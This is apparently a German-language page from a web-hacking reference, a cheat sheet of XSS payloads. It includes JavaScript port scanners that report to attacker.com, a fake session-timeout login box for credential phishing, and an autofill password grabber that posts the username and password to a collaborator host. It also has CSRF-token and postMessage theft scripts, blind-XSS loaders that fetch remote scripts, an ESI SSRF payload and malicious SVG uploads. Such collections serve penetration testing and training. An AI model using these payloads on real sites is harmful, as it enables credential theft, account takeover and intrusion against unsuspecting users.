Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kurze Zeiten deuten auf einen antwortenden Port hin Längere Zeiten deuten auf keine Antwort hin.

Überprüfen Sie die Liste der in Chrome hier und in Firefox hier gesperrten Ports.

Box zur Abfrage von Anmeldeinformationen

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Auto-fill Passworterfassung

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Wenn Daten im Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldeinformationen exfiltriert.

Keylogger

Nur durch eine Suche auf GitHub habe ich einige verschiedene gefunden:

Stehlen von CSRF-Token

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Stehlen von PostMessage-Nachrichten

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Missbrauch von Service Workern

Abusing Service Workers

Zugriff auf Shadow DOM

Shadow DOM

Polyglots

Blinde XSS-Payloads

Sie können auch verwenden: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Zugriff auf versteckte Inhalte

Aus diesem Bericht ist es möglich zu lernen, dass selbst wenn einige Werte aus JS verschwinden, es immer noch möglich ist, sie in JS-Attributen in verschiedenen Objekten zu finden. Zum Beispiel ist es möglich, einen Eingabewert eines REGEX zu finden, nachdem der Wert der Eingabe des regex entfernt wurde:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Brute-Force Liste

XSS Ausnutzung anderer Schwachstellen

XSS in Markdown

Kann Markdown-Code injiziert werden, der gerendert wird? Vielleicht kannst du XSS erhalten! Überprüfe:

XSS in Markdown

XSS zu SSRF

Hast du XSS auf einer Seite, die Caching verwendet? Versuche, das auf SSRF zu aktualisieren durch Edge Side Include Injection mit diesem Payload:

<esi:include src="http://yoursite.com/capture" />

Verwenden Sie es, um Cookie-Einschränkungen, XSS-Filter und vieles mehr zu umgehen! Weitere Informationen zu dieser Technik finden Sie hier: XSLT.

XSS in dynamisch erstelltem PDF

Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den Bot zu täuschen, der das PDF erstellt, um willkürlichen JS-Code auszuführen. Wenn der PDF-Ersteller-Bot eine Art von HTML Tags findet, wird er diese interpretieren, und Sie können dieses Verhalten ausnutzen, um ein Server XSS zu verursachen.

Server Side XSS (Dynamic PDF)

Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, PDF-Daten zu injizieren:

PDF Injection

XSS in Amp4Email

AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, integriert HTML-Tags, die durch JavaScript ergänzt werden, um die Funktionalität mit einem Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, die über AMP-Komponenten zugänglich sind.

Das AMP für E-Mail Format erweitert bestimmte AMP-Komponenten auf E-Mails, sodass die Empfänger direkt innerhalb ihrer E-Mails mit Inhalten interagieren können.

Beispiel Writeup XSS in Amp4Email in Gmail.

XSS beim Hochladen von Dateien (svg)

Laden Sie eine Datei wie die folgende als Bild hoch (von http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Finde weitere SVG-Payloads in https://github.com/allanlw/svg-cheatsheet

Verschiedene JS-Tricks & relevante Informationen

Misc JS Tricks & Relevant Info

XSS-Ressourcen

Wenn du an einer Hacking-Karriere interessiert bist und das Unhackbare hacken möchtest - wir stellen ein! (fließend Polnisch in Schrift und Sprache erforderlich).

Unterstütze HackTricks

Last updated